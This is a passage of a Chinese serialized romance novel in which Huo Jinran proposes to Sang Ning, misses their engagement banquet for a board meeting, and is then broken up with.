还以为霍今然多执着呢，可原来视频邀请时，他就没守着手机。
一副你爱接不接的摆烂模样，反正我联系你了，是你不接，我也没办法。
现在连哄她都这么敷衍。
桑柠拿过手机，正要挂断视频时，又听到那边霍今然说：“行了，你忙吧，我要哄我女朋友了，不然她就不要我了。”
“……”
指腹差一点挨到手机屏幕，又忽地顿住了。
桑柠还握着手机，听到那边传来脚步声，很快，视频里就出现了霍今然的身影。
他穿着白衬衫，没打领带，扣子解了两三颗，脖子间多了一条细细的白金项链，莫名透着成熟男人的苏感。
这项链也不知他什么时候买的，竟然都不跟她分享一下。
“扣子不好好系上，你想在那边勾引谁呢。”桑柠没好气的揶揄了一句。
霍今然勾唇笑了下：“还有什么地方，看不顺眼的，都说出来，我都改。”
“你什么时候买的项链，以前怎么没见你戴过？”整这么性感，你是不是想在那边勾引别的女人？！
“前两天。”霍今然拉开桌旁的抽屉，拿出一个长条的丝绒盒子，他打开，里面是另一条一模一样的白金项链，“情侣款的，因为太想你，所以我就先戴上了，你这条，等忙完，会让助理给你寄过去。”
“……”桑柠唇边有笑意漫出，却不想表露出来，她克制着，故意嘁了一声，“说到底，还是你的工作最重要，连给我寄条项链都要抽空。”
霍今然合上丝绒盒子，他漫不经心微抬眼皮，望向桑柠：“因为还有别的礼物，定制款的包包，还没出来，想到时一起寄给你。”
桑柠没再说话了。
这段日子，霍今然不联系她，不跟她分享，但其实也在偷偷给她准备礼物。
他其实有把她放在心上的。
见桑柠不说话了，霍今然幽幽丢过来一句：“一个多星期不理我，你倒是每次都能忍得住。”
“你还不是忙的忘记我了。”桑柠嘴硬道。
“怎么个忘记，你倒是说说。”
“就……”桑柠支支吾吾的，也说不出个什么来。
桑柠耷拉着眼皮，心虚的不敢跟霍今然对视，她拿过桌旁的一盒巧克力牛奶，就着吸管，咕咚咕咚的喝了两三口。
视频那边的霍今然又漫不经心丢过来一句：“行，反正没拉黑，也是一种恩赐。”
“……”你心态倒是挺好的。
巧克力牛奶喝到一半，桑柠放到一边，抬眸，转了个话题道：“你什么时候回来呀？”
“还得两三个月。”
桑柠努着嘴：“还要这么久啊？”
霍今然望着她：“你有时间可以过来这边，我让助理带你到处转转。”
“你不带我去么？”
“我晚上陪你。”
“……”
视频那边，霍今然似是忙了起来，不久，有人走了进来，似是他的工作人员。
“霍总，这次项目合同已经整理出来，您过目一下。”
几乎是在霍今然接过合同的工夫，他就直接挂断了跟桑柠的视频。
一声招呼都没打。
桑柠坐在那里，面无表情的望着手机屏幕上突然结束的视频聊天，还说忙的没忘记她呢。
男人的嘴，骗人的鬼。
一句都不能信。
桑柠将手机丢到一边，也没再理会霍今然。
几分钟后，霍今然给她发来一条信息：我刚才是不是不小心挂断了视频。
桑柠：别找借口，你明明就是故意的。
回复完这条，霍今然那边突然又没动静了，好像又把她忘到一边了。
“……”
这么反复折腾，桑柠都没脾气了。
之后霍今然给她发来什么，她都没再理他，后来实在看不下去了，才给他丢过去一句：行了，你忙吧，不用百忙之中抽空来敷衍我了。
霍今然没再给她发来信息，连敷衍都没有了。
许是刚才被他哄好了，桑柠也不气他。
一星期后，桑柠就收到了霍今然给她寄来的礼物，还有一张卡片。
——有空过来找我，晚上好好犒劳你。
夏天结束时，桑柠就飞到国外，跟霍今然见了一面。
那一面其实也很仓促，霍今然想尽快忙外国外的事，早点回国，所以每天的时间安排的都很紧。
桑柠过去，大部分时间都是霍今然安排的工作人员，陪着她到处逛。
等桑柠回国时，京城已入了秋，转眼间，路边的叶子就都黄了。
时间一晃而过。
九月底的某天傍晚，桑柠正窝在家里写小说，桌上的手机屏幕亮起，进来两条信息。
桑柠扒头看了一眼，看到是霍今然发来的，她随即拿起手机，解锁，进入了微信。
霍今然：在哪里？
霍今然：我到你家楼下了。
桑柠有些惊喜，捧着手机回他：在家。
桑柠：你什么时候回来的？
霍今然：刚下飞机。
桑柠弯了下唇角，估摸着霍今然应该快到了，她放下手机，走到门口，直接打开了门。
几乎是在她刚打开门的瞬间，就听到外面的电梯响了一下，霍今然走下了电梯。
桑柠穿着拖鞋，跑过去，扑到了霍今然的怀里：“你怎么突然回来了
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？”
“那边事忙完了。”
桑柠放开他，却还抓着他的手臂：“所以这次回来，不走了是么？”
霍今然低垂着眼眸：“嗯。”
应完，他又跟着问桑柠：“等下有事吗？”
桑柠踮起脚尖，搂着他：“干嘛？”
“想带你去一个地方。”
“去哪里？”
“到时你就知道了。”霍今然轻轻拍了一下她的臀，又说道，“去换衣服。”
“哦。”桑柠乖乖的应了一声。
跟着霍今然坐上车，桑柠都不知道他要带她去哪里，直到车一路开到了东区的半岛码头。
“怎么带我到这里？”下车时，桑柠还是忍不住问了一句。
霍今然牵起她的手：“还记得离开时，我对你说的话么？”
“嗯，你说回来时会满足我的第二个愿望。”桑柠依偎到他身边，甜甜的回他，“要为我做件开心的事。”
见霍今然不说话，只牵着她往前走，桑柠忍不住又问道：“所以不告诉我么，要为我做一件什么开心的事？”
“还不到时候。”
“那还要等多久？”
“天黑。”
霍今然停下，他牵着桑柠，上了台阶，带她登上了一艘豪华的游轮。
临近中秋，夜里还没降温，即便临海，吹来的海风也带着些温热的湿润。
游轮朝着夜色中驶去，星光漫天，坠在天与海的边际，仿佛触手可及。
桑柠安静的依偎在霍今然的怀里，享受着海风，与红酒。
行驶到一半，她转头跟霍今然说：“我很喜欢你为我做的这些事？”
霍今然抿了一小口红酒，明知故问道：“喜欢哪部分？”
“都喜欢……”
“砰——”
桑柠的话还没说完，天空突然响起烟花爆破的声音，她转头望去。
不远处，半天边的烟花一簌簌升起，连成了一行英文字：Wouldyoumarryme？
“……”
呼吸有一瞬间的停滞，太过惊喜，大脑一片空白，一时间还有些反应不过来。
等反应过来时，桑柠禁不住双手遮在嘴边，掩饰了下她忍不住惊呼的样子。
烟花簌簌坠落，从半空消失无影，刚才的浪漫却还留存在桑柠的心里。
桑柠缓缓转头，看到的是比之刚才还要令她幸福的画面。
霍今然双手托着个已打开的丝绒戒指盒，将一枚钻石戒指递到了她面前：“我知道以前，因为忙，让你一直等我，但有些事，我不想再让你一直等，想让你尽快明白我的心意，我真的很喜欢你，也很希望你可以一直留在我身边。”
他望着她的眼睛，真诚无比：“桑柠，嫁给我。”
44. 44
桑柠微怔。
刚才的惊喜，转而变成了激动，她比之刚才，还要有些手足无措。
等霍今然求婚的话落下，她都没反应，手脚麻木，甚至还有些微抖。
像是突然就紧张的失语了。
黯淡的天色里，灯火摇晃，有光落在霍今然的身上，笼亮他眉眼里的情绪。
瞧着桑柠不知所措的样子，他眉眼里拉扯出一丝玩味来：“不想嫁？”
桑柠摇头：“不是。”
“那就是很想嫁给我？”霍今然坏坏的逗她。
桑柠脸上泛起一阵红晕，手脚的麻木散去，她终于伸过手去：“帮我戴上。”
“还没回答我呢。”
桑柠望着霍今然的眼睛，一字一顿道：“嗯，想嫁，桑柠很想嫁给霍今然。”
霍今然勾唇笑了下，他低眸，取出戒指，帮桑柠戴到了左手的中指上。
戴完，霍今然揽过桑柠，将她抱进了怀里。
“霍今然。”桑柠轻轻地唤了他一声。
“嗯？”
“谢谢你。”
霍今然轻哼了一声：“谢我什么？”
“谢谢你今天晚上为我做的一切，我很开心。”桑柠跟他讲出了心里话。
“只是嘴上谢谢，没行动，嗯？”
桑柠从他怀里抬起头：“那今天晚上，我就卖力一些吧。”
霍今然在她唇上轻啄了下：“这还差不多。”
许是太久没见，夜里折腾了很久才结束，弄完桑柠却也毫无睡意。
她趴在那里，就着手机屏幕的灯光，给连歆语发了条信息：歆语，我有个好消息想告诉你。
看时间已经凌晨三点多了，桑柠又改了主意：不过现在太晚了，明天约出来见面再说吧。
早上连歆语看到她发来的两条信息，一头雾水。
见面时，都忍不住吐糟了一句：“到底是什么好消息，非要凌晨三点多给我发信息？”
桑柠故意端起咖啡杯，亮了下左手的钻石戒指：“霍今然昨天回来了。”
“哦，我早知道了。”连歆语凑近，故意压低嗓音小声问道，“该不会那个时候跟霍今然刚do完，又搞出来个新姿势，想分享给我？”
“……”
好姐妹压根就没注意到她手上的戒指。
桑柠抿了一口咖啡，她将杯子放到桌上，又故意用左手捧着脸颊，那枚戒指几乎都快要杵到连歆语的面前了。
这下，连歆语终于发现了那枚闪闪的鸽子蛋。
“桑柠！”连歆语牵过她的手，好不激动道，“霍今然终于拿到戒指跟你求婚了么？”
桑柠微怔了下：“怎么这么说，什么叫终于拿到戒指，你是不是之前就知道什么呀？”
看不用瞒了，连歆语就直接坦白道：“这枚戒指，霍今然老早就去订了，没记错的话，应该是五月中旬，就上次我们去郊游时，霍今然没来，他其实是飞往巴黎订戒指去了。”
桑柠回忆了下，想到那次因为霍今然没来，她还很不开心。
原来那个时候，霍今然就已经偷偷的开始策划跟她求婚的事了么。
“而且我听陆寒笙说，霍今然找的是巴黎的一位珠宝大师，专门给你定制的订婚戒指，全世界独一无二。”连歆语跟着道。
“你们倒是挺能瞒我的。”桑柠掩饰住心底的喜悦。
“得了吧你，听完我说的，你心里乐开花了吧。”
桑柠没说话，可禁不住弯起的唇角还是出卖了她。
连歆语又跟着挑明道：“现在知道霍今然有多爱你了吧。”
桑柠抿着咖啡杯的边缘，这次她终于点了点头。
“你知道你跟霍今然在网上也有cp粉了么？”连歆语转了个话题道。
桑柠有些意外，她放下手中的杯子，随手拿起一块曲奇：“cp粉？”
“对呀。”连歆语拿出手机，她点开某网站，给桑柠示意了下，“我已经收藏好几个视频了，cp名今日有桑。”
桑柠探身看了一眼：“还挺有意思。”
“那不可，不过最近那些cp粉都误以为你跟霍今然分手了呢。”连歆语点开一个视频，她指着底下的评论，“你看评论，各种哀嚎呢。”
桑柠吃完最后一口曲奇，她抽出桌上的纸巾，擦了擦手，而后接过连歆语的手机，看了下那些评论。
——完了，我们的cp是不是真的be了，已经很久没互动了。
——总裁那边出国了，大大这边写新的小说还没出关，总感觉两个人都在各忙各的，很久不联系了呢。
——楼上的两位，能不能坚定一些，两位都是成年人，肯定要工作，哪能天天黏在一起。
——不要啊，我才刚开始磕，还想看两位结婚呢。
……
桑柠往下看时，屏幕上意外现出一条实时的最新评论。
——其实从一开始我就有预感，两位谈谈恋爱可以，结婚的话，家世差的太大了，霍家应该不会同意这门婚事，所以大家也做好心理准备吧，就算以后真的be了，曾经相爱过就好了。
指尖微顿，桑柠没再看下去。
余光中看到左手中指的订婚戒指，桑柠转头突然问连歆语：“这个账号是你大号么？”
“不是，就是吃瓜的小号。”连歆语随口回道。
桑柠还捧着手机：“那我能回复个评论么？”
“回吧。”
得到允许，桑柠闷下眼睫，指尖轻敲屏幕，在那条最新的评论下面，回了一条：小道消息，两位已经订婚了，今日有桑结局很圆满。
回完，桑柠将手机还给了连歆语。
连歆语接过手机：“回的什么？”
“没什么，就是一条不看好我跟霍今然的评论。”
连歆语一解锁手机，就看到了刚才还没退出的那条视频，也看到了桑柠回复的那条评论。
“别在意，cp粉里难免会有这种唱衰的。”连歆语将手机搁到了桌边。
桑柠捧着咖啡杯，没所谓道：“没事啊，她说的其实也没错，我跟霍今然的家世差距确实大，俗称门不当户不对，但这些并不能影响我们之间的感情。”
“你懂就好，不过都什么年代了，还讲究什么门当户对啊，两个人相爱不就行了。”
“对呀，我反正是要嫁给霍今然的，而且。”桑柠语气故意加重，强调了一句，“是非他不嫁。”
彼时，桑柠像是被幸福冲昏了头脑，也像是被人蒙上了眼睛似的，什么也顾及不到，什么也看不到。
一心只想嫁给霍今然。
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一个月后，就是两个人的订婚宴。
霍今然将一切都安排的很妥当，不仅包揽了所有筹备的事宜，还包机将桑柠的父母，以及参加订婚宴的亲戚接到了京城。
还给他们安排好了五星级的酒店。
对于这个准女婿，桑柠的父母很满意，当着她的面，夸了好几次霍今然了。
父亲桑敬山好面子，有这么一个矜贵的好女婿，他在亲戚面前也尤为的风光。
但母亲许艾君却心里一直有个结，都已经到了订婚宴的日子，可两家的父母却还没照过面。
霍母去世了，但霍家老爷子也不肯见一面，总归有些不妥。
本来桑家跟霍家的家世差距就很大，说的难听一些，桑家高攀霍家都不为过。
霍老爷子跟桑柠的父母迟迟不照面，多少有些瞧不起桑家了。
举行订婚宴的头天晚上，许艾君搬到桑柠的家里，陪了她一晚上。
临睡时，许艾君随口问了句桑柠：“霍家那边的人你都见过了吗？”
桑柠正在那里铺床，听到许艾君这样问，她也没在意，只是弯着腰抚平了床单上的褶皱：“我跟霍今然结婚，又不是跟霍家的人，干嘛要跟他们见面。”
“你这孩子都快结婚了，怎么还这么不懂事。”许艾君坐到床边，忍不住唠叨，“恋爱是你们两个人的事，但结婚了，就是两个家庭的事，哪有都快结婚了，家长都不照面的道理，要我说，霍家就是不重视这门亲事。”
桑柠没应话，只是拿起一个枕头，放到了床的中间。
“你要说忙，能忙成这样子，孩子结婚都不来看一眼么。”
“本来就忙啊，您当初跟我父亲，不也是忙的总是顾不上我么。”桑柠随口应付了一句，“我们家的生意跟霍家比起来，简直就是小巫见大巫，霍家那边人肯定更忙一些了。”
听桑柠这么说，也不知是她在埋怨，还是在赌气，许艾君嘴唇蠕动了下，却什么都没再说了。
说到底，身为父母，对于桑柠的成长，也确实亏欠了很多。
当初缺失的那些陪伴，也终究是没办法再弥补的事了。
看许艾君不说话了，桑柠轻叹了口气，也并不想在同一个问题上争执了，她将被褥递过去：“您别多想了，好好睡一觉吧，明天还得早起。”
说完，桑柠就抬脚离开了。
回到房间，桑柠敷完面膜，就钻进了被窝，但她没睡意，可能是紧张的缘故，一点睡意都没有。
她捞起手机，趴在被窝里，在微信上问霍今然：你睡了么？
霍今然：还没，忙完就睡。
霍今然：你呢，睡不着？
桑柠：嗯，有点紧张。
霍今然那边没动静了，许是忙去了，桑柠早就习以为常，可那天晚上也不知道是不是因为许艾君的那番话，她也有些担忧了。
她趴在那里，忍不住在键盘上敲出一行字：你不会忙到，明天订婚宴都不能过来参加吧？
敲完，桑柠心里冒出不适的感觉，这话有些不吉利了。
大喜的日子，哪有这么说自家男人的。
桑柠指尖不停地戳着手机屏幕，又紧忙给删掉了。
删完那行字，桑柠还是觉得有些不妥，她又连着呸呸呸了三声，将那些不好的兆头都给呸掉了。
45. 45
许是夜里有些激动，桑柠几乎一晚都没睡。
早上五点多醒来，她也不饿，只吃了个鸡蛋。
许艾君看不过去，给她端过去一碗八宝粥：“一个鸡蛋哪里顶得住，再喝碗粥。”
桑柠接过碗，就着勺子，喝了两三口，她就喝不下去了：“妈，我不吃了，没什么胃口。”
许艾君也没再劝她。
七点多，连歆语跟化妆师一起赶了过来。
一进屋，见到许艾君，连歆语打了声招呼：“阿姨，您这么早就过来了？”
“我昨晚就住在柠柠这里。”
“哦，难怪。”连歆语脱掉大衣，跟着化妆师进了门，她往卧室指了下，“桑柠在卧室？”
“对，敷面膜呢。”许艾君跟着问道，“你们早上吃东西了没？”
“阿姨我们都吃过了，您不用管我们。”
“不再喝碗粥么？”许艾君还是招呼道。
连歆语摆摆手：“不了，吃不下了。”
说完，连歆语就领着化妆师朝卧室走去。
刚一走进去，就看到桑柠站在镜子前，她探身照着镜子，近到差点就要钻进去了。
“你干嘛呢，眼睫毛掉眼睛里了？”
桑柠转过身，她指着她的黑眼圈：“我在看我的黑眼圈，怎么办，好像很严重的样子，呜呜呜，我不要当熊猫新娘。”
连歆语：“……”
化妆师拎着化妆箱走过去，瞅了一眼：“没事，有我在呢，保你今天漂漂亮亮的。”
“就是，怕什么，我给你找的这位，业内大咖御用的化妆师。”
桑柠坐到椅子上：“那等下，记得帮我把黑眼圈都遮一下。”
化妆师打开了化妆箱：“没问题，保证你今天是最漂亮的新娘。”
“严格来说，是准新娘，今天是订婚宴。”连歆语拿起一旁的叉子，叉了块苹果，吃了起来。
“行，最漂亮的准新娘。”化妆师附和了一句。
桑柠弯起了唇角，终于放心了下来。
早上一通忙乱，桑柠都来不及跟霍今然联系，直到出发前往酒店，上了车，她在微信上问他：我要出发了，你那边呢？
霍今然可能在忙，一直没回复她。
京城的早上拥堵高峰期，不知是因为霍今然没回她信息，还是堵车的缘故，桑柠心里莫名有些着慌。
她单手覆在胸口，深呼吸了下。
旁边的连歆语瞅了她一眼：“怎么了，紧张啊？”
“嗯，怕堵车赶不过去。”
“不会，现在才八点二十，十点的宴会，怎么都能赶过去。”连歆语安抚了她一句。
桑柠又拿起手机，打开相机看了一眼：“那么久，我妆到时不会花掉吧？”
连歆语抿了下唇，快有些受不了她了：“你这就不对了啊，我给你请来那么好的化妆师，怎么可能一个多小时妆就花掉。”
桑柠转头望向连歆语：“你说……”霍今然到时不会赶不过来吧。
看桑柠吞吞吐吐的，连歆语不禁催了一句：“又担心什么呢。”
“没。”桑柠又撇过了头。
还是不要说出来了。
霍今然一定会赶过来的。
今天这么重要的日子，他无论如何都会赶过来的。
要相信他。
另一边。
金缦丽酒店。
某总统套间内。
霍今然站在镜子前，造型师正在帮他整理服装，旁边唐志诚举着个电脑，给他视频连线了国外的一位客户。
短暂的会议结束后，霍今然赶往订婚宴的酒店，直到上了车，他才看到桑柠的微信。
于是回她：我这边也出发了。
路上还在堵车，行驶到一半，车好似蜗牛似的，一点点的朝前移动。
霍今然抬起手腕，看了一眼时间，九点十分，还来得及。
他抬眸，望向了车窗外。
在这时，车里突然同时响起微信新消息的提示音，他跟唐志诚几乎同时查阅了下信息。
是集团总部发来的信息：上午十点，集团要召开董事局会议，任何人都不能缺席。
阅读完，唐志诚转头看向霍今然：“霍总，会议跟您的订婚宴撞上了。”
霍今然低哼了一声：“老爷子故意的。”
当初霍冠良给他安排的联姻，就是老爷子在试探他，还有多少忠诚度，结果他不仅不同意联姻，如今还跟桑柠订了婚。
霍冠良自然不同意，他甚至都不肯见桑柠的父母，连今天的订婚宴他都不肯出席。
更别提霍今然还在国外秘密组建了新的团队，一桩桩的事，都在挑战霍冠良的底线。
终于，霍冠良忍无可忍了。
博弈到现在，也是霍今然可以预料到的结局。
“霍总，那现在怎么办，霍老爷子这是让您二选一，要是先去订婚宴，会议赶不及，我怕二公子那边会趁机搞事。”唐志诚有些为难道。
他一个旁人，都能感觉到这个选择有多为难了，更何况是霍今然。
但瞧着霍今然依然淡定自若，一点都不着慌的样子，沉默须臾，他终于做了决定：“先回公司。”
“那您跟桑小姐的订婚宴怎么办？”
“推迟。”
霍今然最终决定，将婚宴推迟到下午两点，等他忙完公司的事，将这场博弈彻底了结，再赶去订婚宴。
听完霍今然的决定，唐志诚点了点头，转而跟司机说道：“先回公司。”
前面的车终于松动了些，司机启动车子，在下一个十字路口，转弯，改了方向，径直朝着霍氏集团大厦驶去。
路
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上，霍今然给桑柠打过去了电话，那边却迟迟没接听。
霍今然只好在微信上跟她解释：抱歉，公司临时有个董事局会议，不得不出席，订婚宴推迟到两点。
霍今然：麻烦我的宝贝跟你的家人解释一句，我下午赶过去。
同一时间。
温士顿酒店，也就是今日桑柠跟霍今然举行订婚宴的地方。
早上没怎么吃东西，也没怎么喝水，或许是因为紧张，桑柠忍不住一直想上厕所。
礼裙有些繁复，上厕所时，有些慢，花了十分钟，桑柠才出来。
拎着裙摆走到外面，看到连歆语等在那里，桑柠走过去：“霍今然来了没？”
“应该来了吧，都九点四十了。”连歆语帮她理了下裙摆，继续道，“我们先去宴会厅看看，说不定霍今然就在那里呢。”
刚才补妆时，桑柠将包包不小心落到休息室了，这会儿才忽然想起来了：“等一下，我得先去趟休息室，我包落到那里了。”
“要不你先去大堂，招呼客人去，我帮你拿去。”连歆语提议道。
桑柠点点头：“好吧。”
说完，桑柠拎着裙摆，朝酒店的宴会厅走去。
进入宴会厅，看到里面几乎坐满了客人，都是桑敬山请来的，女儿嫁的这么好，做父亲的自然脸上风光。
恨不得让所有亲戚都能看到。
桑柠目光巡视了一圈，却没看到霍今然，马上就要十点了，他这个男主人竟然还没到场。
心里没来由的有些着慌。
不好的预感，也在同时慢慢覆上了心尖。
桑柠闭上眼，深呼了下：不许胡思乱想，不会有事的，今天一定会顺利的。
“柠柠。”
耳边传来许艾君的声音，桑柠睁开了眼：“妈，怎么了？”
许艾君大步走到了她跟前：“客人都到了，霍今然呢，怎么还不露面？”
“他可能还在来的路上。”
“你打电话催一下他，怎么能让长辈等他这个晚辈呢，传出去多不好听。”许艾君有些急了。
本来霍家那边不够重视这场订婚宴，许艾君心里就已经有心结了，这会儿准新郎也迟迟不出现。
是有多不顾及女方这边的面子。
这时，身后响起一阵高跟鞋的声音，连歆语赶了过来，将包包递给了桑柠：“桑柠，你的包。”
桑柠接过，从包里掏出手机，刚要解锁时，就看到亮起的屏幕有新的信息。
是霍今然发来的。
看到那句抱歉时，桑柠从昨晚就开始惴惴不安的担忧，终于坠了地。
讽刺的是，她都不知道该轻松，还是该难过。
在璀璨的宴会大堂，宾客满至，要跟她订婚的霍今然，却迟迟没现身。
他依如既往的失约了。
46. 46
从宴会厅不断传来亲戚的嬉笑声，偶尔还能听见有人奉承桑敬山的话。
“老桑啊，你可真有福气，女儿以后嫁到霍家，你的生意也能更上一层楼，以后可记得多关照我们一些。”
桑敬山的声音紧跟着传来，语气里满是骄傲：“我们柠柠争气，能嫁这么好，我也跟着沾了光，不过当初在我生意最艰难的时刻，老几位都帮助过我，以后有什么事需要我的，尽管开口，能帮的我一定帮。”
“老桑真是谦虚了，以后有霍家为你撑腰，那还不是什么事都能办的成。”
……
门口，桑柠微怔在那里，她握着手机，一时间不知该如何是好。
许艾君看她不动，于是催了一句：“快给今然打个电话啊，都在这里等着呢。”
“不用了。”桑柠垂着眼眸，闷闷的说道。
连歆语紧忙问道：“是不是路上堵车赶不过来，陆寒笙他们还堵在路上呢，不过马上就能赶过来了。”
“不是，他公司有事，来不了了。”桑柠将手机放进包包里，她不想发微信追问霍今然，也不想打电话了。
没用的。
以她对他的了解，在给她发完微信，他可能就已经赶往公司了。
他决定的事，没有人可以改变的了。
“你给他打电话，我来说。”许艾君又催了桑柠一句。
桑柠合上包包的盖子，她抬眸，望向许艾君，将霍今然那条微信转述了一遍：“他公司有个董事会议，不得不出席，订婚宴推迟到两点。”
还没等许艾君说什么，桑柠又平静的说道：“但我不想举行了。”
推迟到两点，霍今然就真的能过来了么。
她已经不相信他了。
“桑柠？”连歆语扯了下她的裙摆，但却没多说什么。
她能感觉到桑柠在死撑着，像是再一开口说话，就会难过的哭出来。
“这不胡闹么！”许艾君终于忍不住呵斥了一句。
连歆语紧忙走过去，安抚道：“阿姨，您先别着急，先看看怎么跟那些亲戚解释。”
桑柠已经拎着裙摆，朝着宴会大厅走去，桑敬山看到她，从座位上站了起来：“订婚宴都快开始了，今然怎么还不过来？”
“他不会来了。”
“什么？”
“不好意思各位，今天的订婚宴取消了，回去的机票我全包了，麻烦各位抽空跑来这一趟了。”桑柠给所有亲戚解释了一句。
话落，底下亲戚议论纷纷。
“怎么突然取消了，合着结婚也结不成了？”
“得，白高兴一场。”
“可不是么，豪门哪能那么容易嫁进去啊。”
……
桑敬山气得黑了脸，直接呵斥了桑柠一句：“你真是把我这老脸都丢尽了！”
桑柠转身，将那些纷纷的议论，以及桑敬山的呵斥都抛掷到了身后，她慢慢朝前走去。
瘦削的背影倔强，却也落寞。
走出宴会厅，连歆语跟了过来：“桑柠。”
桑柠拎着裙摆，也不看连歆语，只是出声制止道：“不要跟过来，我想一个人静一静。”
连歆语伸过去的手，又缩了回来，只能站在原地，看着桑柠独自朝着酒店的门口走去。
走出酒店，桑柠拦了一辆出租车，坐进后排，关上门的那一瞬，她的眼泪就再也绷不住的汹涌的流了出来。
她不停的用手指抹去，可眼泪却像断了线的珠子一样，怎么都抹不干。
过往的那些委屈，也好像再次泛涌了出来，一件件的，在桑柠的脑海里转个不停。
答应好带她去瑞士滑雪，可到头来，却是她一个人孤零零的在国外度过了圣诞节。
情人节那天，窗外落雪，她在长桌前孤单落寞的身影。
发烧晕倒，昏暗的房间里，也都是她一个人挨过的。
……
从前无论发生什么事，桑柠到最后都慢慢的原谅了霍今然。
也知道那个时期霍今然刚接管公司，事务多，她也学着多体谅他。
可原来，受了那么多委屈，原谅了那么多次，甚至也学会了体谅，却并没有什么用，只会让桑柠认清楚，在霍今然心里，她无足轻重的地位。
他其实也从来都没有打从心底心疼过她，不然怎么会舍得让她这样受委屈。
他也并没有想象中的那么爱她，或者。
他根本就不爱她。
桑柠深呼吸了下，从胸口传出来的痛楚，不断蔓延，仿佛每呼吸一口气都会觉得痛。
那一刻，她的心情也好似将要溺水的人，起起伏伏，难受极了。
车子启动，朝着她家的方向驶去，渐渐远离了温士顿酒店。
回到家，桑柠换掉了身上的礼裙，妆还没卸，就已经哭花了。
桑柠站在镜子前，望着她憔悴的模样，眼泪似是在回来的路上哭干了，但看到镜中她那般狼狈的样子，眼底又忍不住泛出了酸涩的泪水。
模模糊糊中，桑柠仿佛透过镜子，看到了早上那个既兴奋，又紧张的她。
即将要举行订婚宴，她明明那么幸福，明明充满了期待，却还是被霍今然搞砸了。
像从前的每一次那样。
忽地又想起求婚那天，他的那些誓言，因为忙，一直让她等，他其实什么都知道，也知道她应该是很委屈的。
可直到订婚这日，霍今然却还是不顾及她的感受，一旦她跟他的事业相冲突，他还是会毫不犹豫的选择他的事业，将她撇到一边，置之不顾。
哪怕是像今天这样重要的日子。
桑柠终于妥协了，也不想再争了，她在霍今然的心里，排位的顺序永远都不可能超过他的事业。
既然这样，不如放过自己。
洗了个澡，拉上房间里的窗帘，桑柠窝到卧室里，补了个觉。
睡前她将手机都关机了。
这一觉很冗长，桑柠也不知道睡了多久。
醒来时，房间昏昏暗暗的，透过窗帘的缝隙，瞧着外面似是已经天黑了。
早上那会儿，桑柠就吃了那么一点东西，睡到现在，她也不饿，只是还是觉得有些累。
她探身，捞起床头柜的手机，开机，屏幕亮起，有些刺眼，她不禁用手背挡了下。
几乎是在网络恢复的瞬间，屏幕上就冒出了一大堆信息。
光线已经适应，桑柠垂着眼睫，划拉着那些信息。
妈妈：柠柠啊，今天这个事，你要我说你什么好，订婚跟胡闹似的，让所有的亲戚都白跑一趟，真不像话。
连歆语：桑柠，你真的要取消订婚宴么。
连歆语：到你家了，敲门没人应，也不知道你去哪里了，开机给我个电话，我们都很担心你。
……
桑柠木然的指尖划拉着屏幕，谁的信息都不想回。
直到划到霍今然给她发来的信息。
12:15——桑柠，接一下电话。
12:40——我在你家门口，想见你，你的密码改了，也不知道你在不在家。
12:41——开机的话，给我打个电话。
……
屏幕上突然有新的电话进入，是霍今然打过来的，桑柠几乎是下意识的挂断了他的电话。
很快，霍今然又给她发来一条信息：桑柠，我在你家门口，帮我开一下门。
桑柠将手机丢到一边，她随手拿起个鲨鱼夹，拢了一下头发，而后她起身，朝外面走去。
开了灯，屋里亮了起来，她遁着光亮，朝门口走了过去。
打开门，霍今然还站在门外。
几乎是在门响的那一下，霍今然就跟着微抬起眼皮，望向了门口的桑柠。
她就站在那里，隔
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着不远不近的距离，平静的望着他，不吵不闹。
看到桑柠哭肿的双眼，霍今然心里攸地顿了下，他收起手机：“今天这个董事会议，跟我们的订婚宴撞上，是因为……”
“够了。”桑柠轻声制止了他的话，她不想听那些解释，“我什么都不想听，你每一次迟来的解释，有什么意义呢，不管因为什么原因，我已经难过一遍了。”
桑柠又问道：“我只想问你，以后只要我跟你的事业发生冲突，你都会毫不犹豫将我抛至一边是么？”
霍今然望着她，看她眼底泛了红，情绪有些激动，他心底募地促起一阵褶皱，心疼不已。
一时间，他都不知道该说什么。
见他不说话，桑柠又继续问他：“就算以后我住院生病，怀孕，到了生产的那一天，你都有可能不在我身边陪着我是么？”
有泪水溢出，脱眶而出，慢慢顺着她的脸颊，滑落了下去。
霍今然望着她：“桑柠，我不想回答你这些假设性的问题。”
他不想在这些毫无意义的问题上，跟桑柠再争执下去，他只想跟她说，让她再忍耐一段日子，陪他一起熬过现在这个关键的时刻。
只是这些话还没来得及说出口，就听桑柠又问他：“是不想回答，还是你心里已经有了答案？”
桑柠突然觉得心里委屈极了。
到这个时候，霍今然给她的回答，依然模棱两可。
霍今然微怔在了那里。
望着桑柠难过哭泣的样子，他突然想到刚遇到她时，她明明是个那么爱笑的明艳的女孩子。
还记得那次在泳池边，她轻快的唤他的名字，笑容明媚，好似最艳阳的天。
跟他在一起后，她好像越来越不爱笑了，他也好像总是因为这样那样的事惹她哭。
让她丢了以前那个爱笑的女孩子。
是不是应该放手了。
他其实根本就没那个资格，让她陪着熬过这段日子，他也不能再这么自私，将她困在他身边了。
霍今然那一瞬间的沉默，像是已经给了她答案，什么都没说，却也好似什么都说了。
桑柠心里的隔阂更深了些，更或者从心底长出一双手，将霍今然推出去很远。
她突然就感觉到累了。
以前一次次心软原谅了霍今然，桑柠以为过去了，像什么事都没发生过似的，跟他和好如初。
可到如今，桑柠才意识到，原来从前原谅过的，从来都没过去，只是压在了心底，累积着。
像是附着在白布衫上的发黑的霉气似的，表面上好的，自以为瞒过了自己，可拿出来，看不到的地方却早就已经生出一大片霉斑了。
她从前的忍耐，退让，也从未被霍今然珍视，疼惜过。
时至今日，桑柠也不想跟霍今然再计较了。
不管是人不对，还是时机不对，都不重要了。
她不想再陪他继续走下去了。
她累了。
算了。
桑柠望着霍今然，像是极力在克制她的情绪，却也能看到她嘴唇有些发抖，终于将那句话说出了口：“霍今然，我们分手吧。”
门一下子关上了，将霍今然隔绝在了门外，也仿佛将他隔绝在了桑柠的世界之外。
她决绝的，断了跟他所有的羁绊。
霍今然没有动，他还站在门口，不过一门之隔，却生生隔住了他跟桑柠曾经相恋的那些过往。
像是冬日里，刚刚盛放的烟火，结束后的空寂般。
他心里突然荒芜一片。
停留了些许，霍今然也没再挽留，他抬脚，朝前走去。
刚走出桑柠小区的门口，他收到了她给他发来的最后两条信息。
像是诀别。
——谢谢你之前为我做的一切，也谢谢你对我所有的好。
——祝你未来一切都好。
47. 47
